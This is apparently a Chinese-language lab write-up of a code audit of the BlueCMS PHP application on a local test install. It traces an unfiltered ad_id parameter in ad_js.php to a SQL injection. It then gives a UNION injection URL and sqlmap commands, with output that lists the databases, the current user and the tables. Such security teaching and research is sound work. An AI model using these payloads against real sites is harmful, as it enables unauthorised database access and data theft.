bluecms搭建
将bluecms的源码文件bluecms放在www目录下,进入bluecms/install/index.php目录安装bluecms
填写数据库配置信息和管理员账号信息
填写完上述信息后,会自动在bluecms数据库下创建这些文件
返回主界面 http://127.0.0.1/bluecms
后发现管理员不能从前台登录,
需要从http://127.0.0.1/bluecms/admin/login.php
登录
新建项目,使用Seay进行自动审计,但这个分析只是单一的静态分析里面的代码和函数可能出现的漏洞
代码审计
将blue代码载入到IDEA中,搜索如下正则表达式
(update|select|insert|delete|).*?where.*=\
这段正则表达式设计用于匹配SQL语句中包含"where"子句且条件中出现等号"="的部分。下面是对各部分的详细解析:
(update|select|insert|delete|
- 这部分匹配SQL语句的开始,可以是
UPDATE
,SELECT
,INSERT
, 或DELETE
。使用竖线|
作为选择操作符,表示匹配其中任意一个。.*?
- 这是一个非贪婪的点星模式,表示匹配任意字符(
.
)任意次(*
),但尽可能少(?
)。这用于匹配上述关键字之后直到where
关键字之前的任意字符。where
- 匹配
WHERE
关键字,用于SQL语句中指定条件的部分。.*=\
- 这部分继续使用非贪婪的点星模式匹配
where
关键字之后的任意字符,直到找到第一个等号=
。等号后面跟着的反斜杠\
用于确保等号是作为匹配目标,而不仅仅是语法的一部分。总结来说,整个正则表达式用于在一段文本中查找
UPDATE
,SELECT
,INSERT
, 或DELETE
语句,且这些语句中包含where
条件子句和等号=
作为条件的一部分。它主要用于从一段文本中抽取或识别特定的SQL语句结构。
在正则表达式中,
.*
是一个非常常用的模式,它代表匹配任意数量(包括零个)的任意字符。
.
(点)匹配除换行符之外的任何单个字符。*
(星号)是一个量词,它表示前面的模式(在这里是.
)可以重复零次或多次。当
.*
组合在一起时,它意味着匹配尽可能多的任意字符。这种模式通常用于匹配或查找不关心具体内容的任意文本,或者用于跳过直到下一个特定模式出现前的文本。例如,如果在正则表达式中使用
Hello.*world
,这将匹配任何以"Hello"开始,以"world"结束的字符串,中间可以是任何字符,包括空字符串。需要注意的是,
*
默认是贪婪的,即它会尽可能多地匹配字符,直到下一个模式出现。如果需要让.*
尽可能少地匹配字符,可以使用非贪婪(或懒惰)模式,即.*?
。
查找正则表达式匹配到的SQL语句中哪个有变量
-
info_index.php中有变量pub_date,但是写在order by后面,不是连接前面的while循环,这种不优先看
" WHERE lit_pic != '' ORDER BY pub_date DESC
-
ad_js.php中有变量$ad_id,这种情况就可以优先看,因此此时变量直接拼接在where列名(ad_id)之后。在注入时,大部分的注入语句都是在while后面的一个变量,通过跟踪那个变量值来注入。像上面的变量写在order by后面的就不一定能注入成功
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
getone不是php的官方函数,那就是自定义函数,其功能应该是执行后面的SQL语句并将其值赋值给$ad
右键函数=>转到=>声明或用例(声明是看这个函数如何定义,实现就是引用这个函数的地方)
跳转到声明这个函数的地方mysql.class.php,查看函数声明
function getone($sql, $type=MYSQL_ASSOC){$query = $this->query($sql,$this->linkid);$row = mysql_fetch_array($query, $type);return $row;
}
可以确定geton这个函数的功能是执行后面的SQL语句并将其值赋值给$ad,知道了函数的功能后就要看函数中的变量能不能被控制,来确定是否可以注入
在当前文件ad_js.php下全局搜索$ad_id
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; //使用了三元运算符xx?xx:xx
if(empty($ad_id))
{echo 'Error!';exit();
}如果$_GET['ad_id']存在且非空,则使用trim()函数去除ad_id字符串两侧的空白字符,然后将结果赋值给$ ad_id。
如果$_GET['ad_id']不存在或为空,则$ ad_id被赋值为空字符串''。
前面跟踪getone以及$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
发现都没有进行过滤,直接测试这个漏洞
漏洞测试
步骤如下
文件路径是在bluecms\ad_js.php,直接访问本地搭建的这个网站对应文件
进行测试
执行sql语句http://127.0.0.1/bluecms/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database())
,但是并没有结果回显。因为在getone函数执行sql语句之后并没有将结果进行输出,所以此类注入点一般采用延迟注入或者是报错注入(无回显)
使用sqlmap进行测试
python sqlmap.py -u "http://127.0.0.1/bluecms/ad_js.php?ad_id=1"
判断出两种方式:事件盲注和联合查询
查询数据库、当前数据库、当前用户信息
python sqlmap.py -u "http://127.0.0.1/bluecms/ad_js.php?ad_id=1" --dbs --current-db --current-us
er
查询成功
[16:58:48] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.29, PHP, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[16:58:48] [INFO] fetching current user
[16:58:49] [WARNING] reflective value(s) found and filtering out
current user: 'root@localhost'
[16:58:49] [INFO] fetching current database
current database: 'bluecms'
[16:58:49] [INFO] fetching database names
available databases [8]:
[*] bluecms
[*] challenges
[*] employee
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] sys
查询bluecms这个数据库的全部表名
sqlmap.py -u "http://127.0.0.1/bluecms/ad_js.php?ad_id=1" -D bluecms --tables
查询成功
[17:03:37] [INFO] the back-end DBMS is MySQL
web application technology: PHP, PHP 5.3.29, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[17:03:37] [INFO] fetching tables for database: 'bluecms'
[17:03:37] [WARNING] reflective value(s) found and filtering out
Database: bluecms
[29 tables]
+------------------+
| blue_ad |
| blue_ad_phone |
| blue_admin |
| blue_admin_log |
| blue_ann |
| blue_ann_cat |
| blue_arc_cat |
| blue_area |
| blue_article |
| blue_attachment |
| blue_buy_record |
| blue_card_order |
| blue_card_type |
| blue_category |
| blue_comment |
| blue_config |
| blue_flash_image |
| blue_guest_book |
| blue_ipbanned |
| blue_link |
| blue_model |
| blue_navigate |
| blue_pay |
| blue_post |
| blue_post_att |
| blue_post_pic |
| blue_service |
| blue_task |
| blue_user |
+------------------+